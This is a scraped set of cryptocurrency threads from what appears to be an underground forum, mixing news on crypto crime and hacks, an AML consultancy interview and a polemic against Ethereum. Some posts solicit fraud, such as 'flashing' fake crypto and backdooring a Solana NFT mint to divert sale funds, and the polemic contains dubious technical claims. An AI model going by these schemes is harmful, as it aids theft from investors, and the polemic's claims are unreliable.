Scamming was the greatest form of cryptocurrency-based crime in 2021, followed by theft — most of which occurred through hacking of cryptocurrency businesses. The firm says that DeFi is a big part of the story for both, in yet another warning for those dabbling in this emerging segment of the crypto industry.

"DeFi is one of the most exciting areas of the wider cryptocurrency ecosystem, presenting huge opportunities to entrepreneurs and cryptocurrency users alike," Chainalysis wrote in its annual Crypto Crime report.

"But DeFi is unlikely to realize its full potential if the same decentralization that makes it so dynamic also allows for widespread scamming and theft."

The wild west of DeFi​

DeFi is a rapidly growing sector of the crypto market that aims to cut out middlemen, such as banks, from traditional financial transactions, like securing a loan.

With DeFi, banks and lawyers are replaced by a programmable piece of code called a smart contract. This contract is written on a public blockchain, like ethereum or solana, and it executes when certain conditions are met, negating the need for a central intermediary.

"The financial system is basically sending money around with various terms and conditions attached to it," said Joey Krug, Chief Investment Officer at Pantera Capital, a cryptocurrency and blockchain-focused asset manager.

DeFi transaction volume grew 912% in 2021, according to Chainalysis stats. Impressive returns on decentralized tokens like shiba inu also spurred a feeding frenzy among DeFi tokens.

But there are a lot of red flags when it comes to dealing in this nascent crypto ecosystem.

One problem with DeFi, according to Kim Grauer, Chainalysis' head of research, is that many of the new protocols being launched have code vulnerabilities that hackers are able to exploit. 21% of all hacks in 2021 took advantage of these code exploits.

Grauer tells CNBC that while there are third party firms that perform code audits and publicly designate which protocols are secure, many users still opt to work with risky platforms that bypass this step if they think they can get a large return.

Cryptocurrency theft rose 516% from 2020, to $3.2 billion worth of cryptocurrency. Of this total, 72% of stolen funds were taken from DeFi protocols.

Losses from scams rose 82% to $7.8 billion worth of cryptocurrency.

Over $2.8 billion of this total came from a relatively new but very popular type of scheme known as a "rug pull," in which developers build what appear to be legitimate cryptocurrency projects, before ultimately taking investors' money and disappearing.

"Given the hype around DeFi, people may have been more okay with using less secure platforms due to a fear of missing out on potential gains," explained Grauer.

Crime stats don't tell the full story​

Crypto-related crime may be at an all-time high, but researchers note that the growth of legitimate cryptocurrency usage far outstrips the growth of criminal usage.

Transactions involving illicit addresses represented an all-time low of just 0.15% of the $15.8 trillion in total crypto trade volume in 2021.

The research firm identifies illicit funds based on their connection to confirmed illicit activity. For example, funds would be considered illicit if they were sent to or from a darknet market, or were known to have been stolen in a hack.

"The fact that the increase was just 79% — nearly an order of magnitude lower than overall adoption — might be the biggest surprise of all," Chainalysis wrote.

"Crime is becoming a smaller and smaller part of the cryptocurrency ecosystem," continued the report.

Researchers partly credit the curbed growth of crypto-based crime to the evolving tool kit of law enforcement, as well as the inherit transparency of blockchain technologies.

Crime is becoming a smaller and smaller part of the cryptocurrency ecosystem. 2021 Crypto Crime Report Chainalysis
Unlike cash and other traditional forms of value transfer, every transaction is recorded in a publicly visible ledger, and with the right tools, Grauer says that it is possible to see how much of all cryptocurrency activity is associated with crime.

"Authorities have been enormously successful in leveraging the transparency of blockchains to investigate and shut down illicit activity," said Grauer.

In November, for example, the IRS Criminal Investigations agency said that it had seized over $3.5 billion worth of cryptocurrency in 2021 — all from non- tax investigations — representing 93% of all funds seized by the division during that time period.

Other wins for law enforcement in 2021 included the Department of Justice's $56 million seizure in a cryptocurrency scam investigation, $2.3 million seized from the ransomware group behind the Colonial Pipeline attack, as well as an undisclosed amount [seized by Israel's National Bureau for Counter Terror Financing](https://urldefense.com/v3/https:/blog.chainalysis.com/reports/israel- hamas-cryptocurrency-seizure-july-2021/;!!PIZeeW5wscynRQ!6Ykx- Udh12e3rwxyt5r3pdZX2giiapPDSslyLGno0-sbme6Upd543qFlSTwsL4LWA2pCyg$) in a case related to terrorism financing.

Source:

[ Crypto scammers took a record $14 billion in 2021 ](https://www.msn.com/en- us/news/other/crypto-scammers-took-a-record-2414-billion-in-2021/ar-AASuqzm)

Unstoppableswap скам?
ID: 67686ad7b4103b69df3797e2
Thread ID: 99360
Created: 2023-10-04T07:52:10+0000
Last Post: 2023-10-04T07:52:10+0000
Author: Colgroup
Replies: 0 Views: 309

del

Приём платежей в ТГ боте
ID: 67686ad7b4103b69df379820
Thread ID: 93603
Created: 2023-07-21T19:38:53+0000
Last Post: 2023-07-23T18:14:50+0000
Author: D03er
Replies: 6 Views: 309

Всем привет, ищу информацию каким способом можно организовать приём платежей в ТГ-боте, чтобы для каждого покупателя генерировался свой btc-адрес?
Хочу:
1. скрыть кол-во транз на кошельке
2. выдавать цифровой товар после подтверждения транзы в сети btc

Предложения "платёжек под грязь" с комсой 30%+ не интересны, оффер белый, но "официальные" требуют юр.лицо или кучу всяких верифов/сайта/прочей ебли.

$196 million of crypto stolen from Euler Finance
ID: 67686ad7b4103b69df37988a
Thread ID: 83892
Created: 2023-03-16T09:57:22+0000
Last Post: 2023-03-16T09:57:22+0000
Author: stgpp0r5
Replies: 0 Views: 309

In the largest hack so far in 2023, an attacker was able to carry out multiple transactions that netted more than $195 million in various crypto and stablecoins.

Many in the industry are deploring the attack on Euler, which was innovating on liquid staking derivatives, which, for example, allowed stakers on Ethereum to unlock the liquidity of their staked crypto and use it elsewhere.

According to Blocksec, the smart contract audit platform, the actual breakdown of the funds stolen are as follows:

Source: Blocksec Google spreadsheet

The current hack on Euler Finance is just another in a long line of hacks over the last few years. Given that nearly all decentralised finance projects make their code open sourced, hackers are able to work out ways of gaining access to assets.

Euler Finance is based in the UK, builds non-custodial protocols, and is governed by a DAO. The $EUL token dropped as much as 61% on the day, to give it a price of $2.33. It has since recovered to $3.36 at time of going to press.

Source: [Crypto Daily](https://cryptodaily.co.uk/2023/03/euler-finance- sees-195-million-in-crypto-drained-in-exploit- hack?utm_source=dlvr.it&utm_medium=twitter)

Как определить что владелец смарт-контракта не с RU???
ID: 67686ad7b4103b69df37990b
Thread ID: 72843
Created: 2022-09-07T16:30:21+0000
Last Post: 2022-09-08T15:56:53+0000
Author: вавилонец
Replies: 5 Views: 309

Вопрос собственно в шапке. Очень интересно. Какие варианты

Pumpfun
ID: 67686ad7b4103b69df379679
Thread ID: 128046
Created: 2024-12-02T06:14:51+0000
Last Post: 2024-12-02T14:47:32+0000
Author: Dobrobro
Replies: 1 Views: 307

I would like to talk to someone who has a lot of experience in launching tokens on pumpfun. Who consistently earns money on this.

Crypto Flashing
ID: 67686ad7b4103b69df379734
Thread ID: 114279
Created: 2024-05-11T08:40:27+0000
Last Post: 2024-05-11T08:40:27+0000
Author: maxim1of1
Replies: 0 Views: 306

Hello guys, I am looking for a partner who can flash crypto. We can monetize any amount of crypto you flash, we work with insiders in banks and some financial institutions. We can monetize any amount of fake crypto you can flash.

Feel free to inbox if you are capable of the task and can work with a percentage of the amount you are able to flash

You must be able to send a test flash for us to know you are legit. I am not paying upfront for a crypto flash, only potential partners can DM.

Где можно отслеживать статистику о покупке/продаже?
ID: 67686ad7b4103b69df379765
Thread ID: 110535
Created: 2024-03-16T12:16:32+0000
Last Post: 2024-03-17T22:57:00+0000
Author: student
Replies: 2 Views: 306

Хочу увидеть к примеру за месяц больше купили бтк или продали

електрум
ID: 67686ad7b4103b69df37979e
Thread ID: 106740
Created: 2024-01-26T17:27:59+0000
Last Post: 2024-01-27T19:20:04+0000
Author: Super Crypt
Replies: 2 Views: 305

на сколько часто встречается сейчас? думаю на тему одной идеи.
подскажите кто может

Ищу софт по автовыводу с холода
ID: 67686ad7b4103b69df3798c7
Thread ID: 79394
Created: 2023-01-06T23:51:55+0000
Last Post: 2023-01-06T23:51:55+0000
Author: Amfro
Replies: 0 Views: 305

/del

Бэкдор в смарт-контракте Солана
ID: 67686ad7b4103b69df379952
Thread ID: 68481
Created: 2022-06-11T09:23:14+0000
Last Post: 2022-06-11T22:50:23+0000
Author: werbeden
Replies: 2 Views: 305

Возможно ли засунуть в солану бэкдор? Создан минтинг страничка через metaplex, минтить нфт можно будет только имея вайтлист. Как можно сделать чтобы вся крипта с сейла ушла на другой кошелёк?

Для чекера адресов ethereum mainnet подборка 8,8к строк
ID: 67686ad7b4103b69df37983d
Thread ID: 90557
Created: 2023-06-15T07:10:23+0000
Last Post: 2023-06-16T10:35:13+0000
Author: вавилонец
Replies: 4 Views: 304

Может ещё куда сойдёт, в ручную чекал с 10 адресов, от 0 до 5к ETH
Если кто чекер пишет, выложи балансовые от 100 ETH, или в пм

You must have at least 20 reaction(s) to view the content.

Биржа заморозила аккаунт, что делать? Отвечает основатель AMLCompliance
ID: 67686ad7b4103b69df3798ca
Thread ID: 79230
Created: 2023-01-04T12:43:26+0000
Last Post: 2023-01-04T12:43:26+0000
Author: Rehub
Replies: 0 Views: 304

Уходящий год можно назвать «годом блокировок»: с ними столкнулись пользователи биржи Coinbase, DEX dYdX, кошелька Wasabi Wallet, P2P-сервиса LocalBitcoins и многих других платформ.

ForkLog взял интервью у основателя консалтингового агентства AMLCompliance Тараса Подгородецкого. Он рассказал о самых частых причинах блокировок аккаунтов, бесполезности биткоин-миксеров и будущем криптовалютного регулирования.

ForkLog: Здравствуйте, Тарас! Расскажите об AMLCompliance. Почему именно консалтинг?

Тарас: AMLCompliance — агентство полного цикла. Мы помогаем клиентам на всех этапах взаимодействия с централизованными платформами: от общения с техподдержкой до судебных заседаний.

Проекту меньше года, но у нас сильный бэкграунд. Я владею финтех-компанией StarExchange.io, которая создала более десяти криптовалютных обменников. Клиенты часто обращались к нам по различным юридическим вопросам.

Кроме того, несколько лет назад мы сами открыли обменник с эстонской лицензией. Осваивали комплаенс на собственном опыте: законодательство только формировалось, и правила игры менялись почти каждую неделю. Через некоторое время свернули бизнес и решили использовать полученные знания на практике.

Сейчас в AMLCompliance пять человек и большое количество внештатных сотрудников. Все члены команды имеют квалификацию в области криптовалютного комплаенса — хорошо понимают ситуацию по обе стороны баррикад и разговаривают с юристами на их языке.

ForkLog: Уже можете поделиться значимыми результатами?

Тарас: Да, за это время мы провели 12 расследований, разблокировали 68 аккаунтов и помогли клиентам вернуть $4,5 млн. В процессе разморозки — еще $122 млн.

В ближайшее время запустим сервис, который будет анализировать аккаунты и давать инструкции по самостоятельной разблокировке.

ForkLog: Какова самая частая причина блокировок аккаунтов?

Тарас: В 2022 году — санкции. На рынок зашло большое количество санкционной криптовалюты, в том числе из России. Около 30% клиентов обращается именно по этим вопросам.

Аналитические сервисы помечают все переводы подсанкционных контрагентов: в биткоине, Tether и других активах. Даже сделанные несколько лет назад.

На холодных кошельках оказываются «токсичные» монеты: если отправить их другу или бизнес-партнеру, криптобиржа заблокирует его аккаунт.

Я говорю о реальных кейсах. Один из наших клиентов получил криптовалюту в эквиваленте $12 000, а биржа заморозила его средства на сумму $487 000.

ForkLog: А на что приходятся оставшиеся 70%?

Тарас: Еще 20% — украденные деньги. Когда начинается судебное разбирательство, средства обвиняемого помечаются в AML-сервисах. Владельцы связанных кошельков тоже попадают под подозрение.

У нас был случай в Германии: биржа заблокировала аккаунт с $500 000 и обвинила клиента в отмывании денег. А он просто получил три транзакции от компании, которая впоследствии закрылась.

Мы подготовили отчеты об операциях, сформулировали позицию, а потом 16 часов объясняли немецким юристам, как работает блокчейн. Успешно закрыли дело: с клиента сняли обвинения и разблокировали аккаунт.

Остальные блокировки связаны с получением подозрительных транзакций или проверкой источников дохода. Последнее особо актуально для жителей постсоветского пространства, которые привыкли пользоваться наличными.

ForkLog: Всех этих блокировок можно избежать с помощью миксеров?

Тарас: Нет. Любой миксер можно проанализировать: выявить паттерны очистки и найти криптовалюту, которая через него прошла. Для всех популярных сервисов это уже сделано.

В декабре мы «размотали» два миксера и нашли адреса пользователей. Очистка криптовалюты, анонимизация — это иллюзии.

ForkLog: А если пользоваться некастодиальными кошельками?

Тарас: В случае с Tether (USDT) и USD Coin (USDC) уровень контроля со стороны регуляторов такой же, как и на биржах.

Достаточно подать заявление в полицию и довести дело до суда, чтобы эмитент заблокировал стейблкоины даже на холодном кошельке.

ForkLog: Допустим, средства уже заблокированы. Что нужно делать?

Тарас: Как можно скорее позвонить нам и не пытаться разговаривать с техподдержкой самостоятельно. Я объясню, почему.

После блокировки сотрудники биржи связываются с владельцем аккаунта и просят предоставить доказательства происхождения криптовалюты. Как показывает практика, люди дают ответы, которые вызывают подозрения и приводят к новым вопросам.

Мы готовим ответы с учетом встречных вопросов платформы и помогаем не раскрывать лишнюю информацию.

ForkLog: Биржи идут навстречу в процессах разблокировки?

Тарас: Да, они не заинтересованы в заморозке аккаунтов: так пользователи не торгуют, а могут и вовсе уйти на другую площадку. Цель бирж — как можно скорее получить ответы и документы для предъявления регулятору.

Все платформы из топа CoinMarketCap мотивированы помогать своим клиентам. Но зачастую сами пользователи дают волю эмоциям и усугубляют проблему.

ForkLog: Бывают исключения?

Тарас: Да, но очень редко. Например, STEX уже полгода игнорирует наш запрос, хотя мы предоставили все необходимые данные.

Мы надеемся, что биржа выполнит свои законные обязательства и предоставит информацию регулятору. Если этого не случится, мы вернем клиенту 100% предоплаты.

Насколько мне известно, на сегодняшний день AMLCompliance — единственное агентство, которое возвращает деньги, если не может закрыть кейс.

ForkLog: В каких случаях вы отказываете в помощи?

Тарас: Мы не оказываем услуги пользователям из США и Венесуэлы. Кроме того, не работаем с мошенниками и аккаунтами, заблокированными за нарушение закона.

Уже раскрыли несколько трейдеров, которые брали средства под управление, проводили пару сделок, выводили криптовалюту и удаляли аккаунты. Клиентам сообщали, что все потеряли или биржа их заблокировала — предоставляли фото и видео.

Однако регулируемые биржи хранят историю операций даже после удаления аккаунтов. Мы получали к ней доступ — при входе в аккаунт или через запрос STR — и выясняли, что случилось на самом деле.

Был случай, когда лид прошел проверки, но во время общения представитель биржи охарактеризовал его единственным словом — «терроризм». Естественно, мы отказали. Мы не хотим становиться соучастниками преступлений.

Отдельная категория — истории, когда непонятно, кому принадлежит аккаунт. Один клиент пытался доказать право владения криптовалютой с помощью поддельных документов, другой хотел, чтобы мы разморозили счет его покойного друга. Все это — грубое нарушение закона.

ForkLog: Вам доводилось заниматься разблокировкой аккаунтов FTX?

Тарас: Конечно. И до, и после краха. Недавно помогли клиентам из Турции вернуть средства.

Блокировка аккаунта — не приговор. Главное действовать быстро: так вы повышаете свои шансы на возврат средств.

ForkLog: AMLCompliance также помогает вернуть криптовалюту в случае кражи. Как вы это делаете?

Тарас: Мы получаем заявку и в течение четырех часов помечаем транзакции в AML- сервисах. После блокировки регулятором начинаем процедуру возврата средств.

В ближайшем будущем запустим платформу, где пользователи смогут самостоятельно подавать запросы на блокировку.

ForkLog: После нашего разговора сложилось впечатление, что будущее криптовалют — в тотальном регулировании…

Тарас: И настоящее тоже. Tether и Circle уже блокируют конкретные адреса, а децентрализованные биржи цензурируют транзакции.

В этом году Coinbase получила на 66% больше запросов от правоохранительных органов. Инструменты для отслеживания готовы на 110%, и регуляторы активно учатся ими пользоваться.

Дело в том, что криптовалюты уже стали идеальной заменой банкам: вы можете отправить $2 млрд в другую страну и заплатить за это 40 центов. Но они также могут превратиться в каналы для спонсирования войны и терроризма. Этого допустить нельзя.

ForkLog: В таком случае, что ждет индустрию в ближайшие годы?

Тарас: Комплаенс станет главным трендом 2023 года. А через некоторое время рынок будет полностью зарегулирован: государство будет четко знать, у кого сколько денег.

source: forklog.com/exclusive/birzha-zamorozila-akkaunt-chto-delat-otvechaet- osnovatel-amlcompliance

Есть кто писал контракты в сети Sonala?
ID: 67686ad7b4103b69df37979c
Thread ID: 106938
Created: 2024-01-29T10:19:31+0000
Last Post: 2024-01-31T00:39:18+0000
Author: CheckData
Replies: 3 Views: 303

Есть кто писал контракты в сети Sonala? Нужна небольшая консультация :zns6:

Crypto Exchange BitBNS exposed for hiding a $7.5M hack from users
ID: 67686ad7b4103b69df379892
Thread ID: 82951
Created: 2023-03-01T11:12:46+0000
Last Post: 2023-03-02T10:26:44+0000
Author: stgpp0r5
Replies: 1 Views: 303

India-based crypto exchange BitBNS has been exposed by @ZachXBT on Twitter for hiding a $7.5M hack from its users, covering it up as 'system maintenance':

__https://twitter.com/x/status/1630665458134163476

О фейковых криптовалютах (Ethereum, Tron, Ripple и пр)
ID: 67686ad7b4103b69df37982c
Thread ID: 92105
Created: 2023-07-04T23:17:00+0000
Last Post: 2023-07-04T23:17:00+0000
Author: gotolearnpls
Replies: 0 Views: 301

!!! Не мое !!! Копипаста с хабра, наткнулся после прочтения https://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/threads/39492/

В многочисленных популярных роликах и текстах, объясняющих принципы работы криптовалют, это объяснение обычно дается на примере Bitcoin - первой из криптовалют. Биткоин - на самом деле чистая и понятная реализация принципов, необходимых для криптовалюты: открытость истории транзакций, возможность проверки источника денег по цепочке, понятные правила появления денег, понятные правила создания новых транзакций. Новые монеты появляются только в результате майнинга новых блоков, и награда за майнинг постепенно снижается по логарифмическому закону, в результате чего общая сумма выпущеных биткоинов никогда не превысит лимита (21 миллион). Любая трата денег (вход транзакции) должна соответствовать выходу другой транзакции, деньги не могут появиться ниоткуда. Для траты нужно подписать транзакцию приватным ключом. Простой скриптовый язык позволяет делать multisig и всякие другие полезные вещи, в том числе и создавать новые валюты (токены) на базе биткоинового блокчейна (omni layer, так живёт USDT). Центрального узла нет, новый блок определяется консенсусом всех узлов - при наличии нескольких вариантов они принимают ту ветку, в которой сделано максимальное количество вычислений, это формальный критерий, не допускающий разночтений. Собственный узел может запустить любой пользователь, исходный код открыт.

К сожалению, концепция криптовалют, несмотря на своё изящество, не нашла понимания у основной массы пользователей. "Среднему пользователю" неважно, лежат ли его деньги в распределённом блокчейне или на каком-то конкретном сайте. Для него это всё равно "где-то в сети". Когда деньги на сайте - даже спокойнее, потому что понятно, кто за него отвечает, в случае чего можно поругаться или написать в соцсети о том, какие они негодяи, или даже подать в суд, а если деньги "потерялись" в блокчейне, то и пожаловаться некому. Пользователи, покупающие биткоины, не хранят приватные ключи у себя, а в основном делегируют это посторонним сайтам, потому для них разницы действительно нет. А даже если хранят у себя - сначала ведь этот ключ они где- то генерируют, и потом скачивают. Понятно, что это уже не полностью их ключ. В результате распространяются слухи о "взломе биткоина", когда деньги уходят хакерам, и подобные байки. С другой стороны, умные и авторитетные люди объясняют, что блокчейн и построенные на нём криптовалюты - это надёжно и правильно, и не верить им нет оснований.

Это закономерно привело к появлению муляжей криптовалют, которые якобы используют те же технологии, но при этом дают преференции их создателям, т.е. не такие уж децентрализованные. Для пользователей всё равно, а создателям профит. Самый распространённый из таких муляжей - Ethereum.

В нулевом блоке эфира роздано 72_009_995 Ether на 8903 адреса, это больше, чем всего получено наград за майнинг блоков (сначала было 5 Ether за блок, потом сделали 3 Ether, сейчас 2 Ether) за всё время. Ещё раз: более половины всего эфира, который сейчас есть в наличии, был роздан в нулевом блоке при старте этой криптовалюты, а меньшая часть появилась в результате майнинга блоков. Попробуйте нагуглить этот факт в описании этой криптовалюты - скорее всего ничего не выйдет, он не афишируется, и даже скрывается.

Эфирная нода geth эти стартовые транзакции не показывает, как будто их нет. Говорит, что нулевой блок пустой.

Эксплореры либо показывают их существование, но не дают смотреть подробности (etherscan.io, blockchair.com), либо вообще их не показывают, в результате чего история транзакций по адресу выглядит странно: только траты, без прихода, но положительный или нулевой итоговый баланс. Особую пикантность эта информация приобретает в сочетании с декларируемыми планами перехода с proof-of-work к proof-of-stake, т.е. изменение алгоритма консенсуса с "прав тот, кто проделал больше вычислений" на "прав тот, у кого больше денег".

Наличие такого мухлежа в стартовом блоке привело к тому, что эта криптовалюта в принципе не могла быть столь же открытой и прозрачной, как биткоин, иначе эта история была бы сразу всем видна. И если в биткоине для определения баланса адреса достаточно посчитать сумму utxo (неизрасходованных выходов транзакций), то в эфире это намного сложнее: нужно просматривать все транзакции по адресу (траты и поступления), но и этого недостаточно: баланс может измениться в результате работы смартконтракта ("internal transactions"), а это бинарный код в теле транзакции. В результате, даже запустив собственную ноду, я не могу посмотреть историю операций по какому-то адресу (даже моему собственному), мне для этого нужно обращаться к сторонним сайтам, работающим на собственном софте, т.е. доверять им: "There's not currently any way to do this using the web3 API. […] Blockchain explorers like etherscan obtain internal transactions by running a modified node with an instrumented EVM" (1); "The trouble I see with this is that this centralizes that data. If I create that data, how you know I didn't fake it? I've been trying to figure out a way to both index it and decentralize the 'indexing calculation.' I know how to decentralize the storage (IPFS), but not how to decentralize the indexing calculation. ([2](https://ethereum.stackexchange.com/questions/3417/how-to-get-contract- internal-transactions#comment9918_9497)) Историю изменений баланса адреса негде запросить, потому что она просто нигде не хранится: нода хранит только состояние (баланс каждого адреса), а в блокчейне сохраняется контрольная сумма (хеш) от этого состояния, ну и сами транзакции, в виде бинарного кода.

Эфирные сматрконтракты - отдельная песня. По сути это ничем не отличается от выполнения какого-то бинарного файла на вашем компьютере, его код не открыт, а логика работы неизвестна. То, что он находится в блокчейне, а не на чьём-то сайте, ни на что принципиально не влияет, кроме психологии пользователей, доверяющих слову "блокчейн". Что, собственно, и требуется. Стандарт ERC20 определяет "узнаваемые" сигнатуры функций, вроде "передать столько-то токенов от такого-то адреса такому-то", но ERC20 не регламентирует, какие ещё функции могут быть у этого смартконтракта (например, "забрать все токены у всех пользователей"). Код смартконтракта, как и код обычной программы, автор может открыть, но это вопрос доброй воли.

Смартконтрактам с открытым кодом, конечно, есть больше оснований доверять - в той же степени, что и обычным программам с открытым кодом. Но многим ли пользователям важно, что у Chromium и у Firefox открытый код, а у Chrome и Safari закрытый?

Поскольку чистота и изящество технической реализации не являлись целью при создании эфира, эти качества по сравнению с биткоином в эфире сильно пострадали. Приведу несколько примеров.

У транзации bitcoin может быть несколько входов и несколько выходов. В результате я могу, например, давать каждому своему контрагенту отдельный адрес для перечисления мне денег, смотреть, когда кто-то из них заплатил, а когда мне самому нужно заплатить - я могу платить с нескольких этих адресов одновременно. А для сдачи сгенерировать какой-то новый адрес. В результате получается определённая степень анонимности: тот, кому я заплатил, не знает, сколько у меня всего денег на других адресах, сколько клиентов, которым я плачу и т.п. Прослеживание истории каждого из входов транзакции, в которой он получил от меня деньги, не даст ему никакой интересной информации.

В эфире у транзакции один вход и один выход. Чтобы заплатить кому-то, если я не хочу платить несколькими частями (на то она и транзакция), мне нужно сначала собрать достаточно денег на одном своём адресе, а потом с него выплатить, причём сдача останется там же. История транзакций по адресу, с которого человек получил от меня платёж, даст много информации обо мне.

И дело не только в приватности. Проводя платёж, я помещаю в блокчейн публичный ключ для этого адреса. Получение приватного ключа по публичному в данный момент малореально, но с появлением квантовых компьютеров всё может быть. У биткоина, как я говорил, сдача идёт на новый адрес (именно так рекомендуют делать), и на тех адресах, с которых произошёл платёж, т.е. публичные ключи которых опубликованы в блокчейне, уже ничего нет, взламывать нечего.

Правила появления новых монет в биткоине заложены со старта - заранее определено, начиная с каких блоков будет производиться "халвинг" (уменьшение награды за блок вдвое), таким образом в коде заложено, сколько всего будет выпущено биткоинов. В эфире ситуация иная: размер премии прописан константой в коде, а код нужно регулярно обновлять, и некоторые обновления изменяют размер награды. Изменение алгоритма ноды с потерей совместимости в биткоине приводит к форку, по сути создаёт другую криптовалюту. Потому что покупая биткоин, я выражаю доверие алгоритму и стартовому блоку (цепочке). В эфире это стандартный процесс "апгрейда", который должны регулярно применять все узлы, иначе они попросту выпадут из сети, потеряв совместимость. Покупая эфир сейчас, я не знаю, по какому протоколу эта валюта будет работать завтра, т.е. я выражаю доверие не открытому протоколу, алгоритму и стартовому блоку, а конкретным людям, которые будут выпускать обновления, никакой децентрализации в этом опять нет.

Комиссия за транзакции (gas) - отдельный адок. Она строится из двух составляющих: цены на "газ", и сколько газа потрачено. Цену на газ устанавливает создатель транзакции исходя из того, насколько быстро он хочет, чтобы его транзакция стала подтверждённой, и текущей "рыночной цены" - это примерно как у биткоина. А вот сколько газа потребуется потратить на транзакцию, заранее неизвестно, отправитель не знает. Даже одна и та же функция одного и того же смартконтракта может потребовать разное количество газа, и не только из-за возможных ветвлений, но и просто в зависимости от amount на адресах в момент её включения в блокчейн. Поэтому отправитель устанавливает максимальное количество газа, которое он готов потратить, а сколько потрачено на самом деле, станет понятно только когда транзакция станет подтверждённой. Соответственно, трудно потратить все деньги, имеющиеся на адресе: комиссия снимается с него же, и если установить большой max_gas, то останется сдача, а если маленький, то его может не хватить.

По той же причине в Ethereum невозможен и "spend unconfirmed", который так удобен и привычен в биткоине. То есть, если есть транзакция получения денег, то я могу создать следующую транзакцию по отправке этих денег куда-то ещё, не дожидаясь, когда первая транзакция станет подтверждённой. Если она отменится - автоматически отменится и вторая. Либо они обе подтвердятся. В эфире так нельзя, потому что пока транзакция не подтверждена, неизвестно, как в её результате изменятся балансы на адресах. Например, если у меня есть адрес с токенами, но без эфира, я не могу потратить эти токены, потому что нужно заплатить комиссию, причём именно с того адреса, с которого отправляются токены. Соответственно, я должен сначала отправить на этот адрес эфир, а потом уже оттуда отправлять токены. И я не могу эти две транзакции отправить подряд

Откуда вообще взята идея этого непредсказуемого газа? В биткоине комиссия ставится пропорционально размеру транзакции в байтах. Это логично: размер блока ограничен, и туда можно включить либо одну большую транзакцию, либо на её место десять мелких. В эфире gas определяется количеством и сложностью операций в смартконтракте, и это нелогично: майнящая нода, хоть и должна выполнить этот смартконтракт для включения транзакции в блокчейн, но объём этих вычислений совершенно несравним с вычислениями собственно хеша блока, необходимыми для proof-of-work. Это разные единицы измерения, как метры и килограммы. И майнеру выгоднее включать в блок "дорогие" смартконтрактные транзакции, чем дешёвые простые пересылки, потому что он в таком случае получит больше награду. Вот вам и идея майнера, приносящего большую прибыль. А чтобы простые транзакции всё-таки тоже подтверждались, на них нужно устанавливать больше gas_price - и в итоге придём к тому, что считаем рыночную комиссию за транзакцию (учитывая её размер), потом делим на предполагаемый расходуемый gas, и результат пишем в поле gas_price. Бред ведь?

Но ситуация ещё комичнее. Зачем вообще регистрировать смартконтракт, почему нельзя писать данные в обычную транзакцию? Именно так работает omni layer поверх блокчейна bitcoin, и на нём были запущены USDT. Ведь это лишь вопрос трактовки, и ничто не мешает нам договориться и трактовать определённые данные в eth-транзакциях как пересылку каких-то токенов, оплачивая за это минимальный gas. Есть только одна причина, почему может быть необходима регистрация смартконтракта: если он отправляет кому-то ether, т.е. те самые "internal transactions", от которых столько проблем, и которые разрушают стройность блокчейна. Обычный смартконтракт ERC-20 (которых большинство, это простая реализация другой валюты или токенов) никакой отправки ether средствами смартконтракта не предполагает (хотя и не запрещает), т.е. для них регистрация не нужна, и платить дополнительный gas тоже не нужно. Иными словами, оплатой gas за смартконтрактные транзакции мы оплачиваем не распределённое выполнение этого смартконтракта майнерами и не хранение данных в блокчейне, а лишь используемый алгоритм. Запустим свой, чуть модифицированный алгоритм на том же самом блокчейне эфира - и вуаля, получим токены без дополнительного газа, подобно omni layer в биткоине. Причём нам совершенно не нужно, чтобы этот софт запустили все ноды или даже заметная часть - достаточно чтобы его запустили владельцы токенов, т.е. это может быть просто кошелёк.

Этот список можно продолжать долго, но это уже не так важно. Важно, что Ethereum - это муляж криптовалюты, который паразитирует на идеях децентрализации, распределённости и открытости, реализованных в Bitcoin, но извративший эти идеи ради бизнес-интересов создателей этой валюты.

Ripple, Tron

У них суть похожая. Декларируется децентрализация, распределённость, все дела. Можно ли поднять свою ноду - да, без проблем, вот исходники, любой желающий может поднять.
Но при ближайшем рассмотрении оказывается, что эта нода не участвует в консенсусе, а только получает информацию о транзакциях от других узлов и отправляет другим узлам свои транзакции. Если покопаться глубже, можно найти информацию о том, что поднять майнящую ноду можно, для этого нужно взять другой софт, заплатить кому-то сколько-то денег и подать заявку на рассмотрение. То есть, эти валюты не являются децентрализованными ни административно, ни технически (новый майнящий узел подключается к сети вручную). Вопрос о том, как происходит распределение денег, в такой ситуации уже неважен: понятно, что в любом случае полный контроль за появлением монет, как и за механизмами консенсуса, находится в частных руках.
Такой отказ от децентрализации принципиально упрощает вопросы консенсуса - новый блок можно принимать хоть простым большинством узлов без дорогостоящих вычислений подписи в proof-of-work, а вопрос генерации новых монет и вовсе отпадает - они все изначально принадлежат владельцу валюты и эмитируются только им (или доверенными узлами, что по сути то же самое).

В угоду бизнесу произошёл сдвиг терминологии. Изначально криптовалютами назывались только "настоящие" децентрализованные валюты с полностью открытым и равномерным появлением новых монет, как в Bitcoin, Litecoin и подобных. Потом криптовалютой стали называть Ethereum, который, впрочем, скрывал "особенности" стартовой эмиссии. Дальше - криптовалютой стали смартконтрактные токены, живующие в эфирном блокчейне, даже с закрытым кодом (т.е. с неизвестными правилами). Потом гордое название "криптовалюта" стали носить любые валюты, использующие блокчейн, децентрализация перестала быть обязательной. И, наконец, блокчейн тоже перестал быть необходим: в Ripple его и нет, а просто по сути любые электронные деньги стали называться криптовалютой.

Отдельно стоит упомянуть stablecoins вроде USDT. Они тоже существуют в распределённом блокчейне, как будто настоящие криптовалюты, а отличие их в том, что существует владелец, который может создавать новые монеты в произвольном количестве. Этот владелец декларирует, что выпускает новые монеты ровно в таком количестве, сколько ему заплатили настоящих денег, эти настоящие деньги хранит в сейфе, и таким образом гарантирует, что эти монеты всегда можно будет продать по курсу 1:1 к USD. Пользователям предсказуемость курса удобнее, чем высокая волатильность биткоина, а магические слова "криптовалюта" и "блокчейн" вызывают больше доверия, чем просто чьи-то электронные деньги вроде perfectmoney. Тут достаточно очевидно, что блокчейн в данном случае - не более чем открытый реестр, а владелец имеет полный контроль над валютой. Курс удерживается стабильным постольку, поскольку ему можно не давать расти дополнительной эмиссией, но если он начнёт падать, компенсировать его слишком большими вливаниями владелец вряд ли будет, у него просто закончатся деньги. Ведь вряд ли кто-то на самом деле верит в то, что все полученные деньги они действительно хранят в сейфе и не тратят. Хотя такая декларация, наверное, может быть выгодна в плане уплаты налогов, это ведь получается нулевая прибыль.

BTC 2 MONERO
ID: 67686ad7b4103b69df379828
Thread ID: 92669
Created: 2023-07-11T14:01:22+0000
Last Post: 2023-07-11T16:24:56+0000
Author: Red Drag0n
Replies: 4 Views: 298

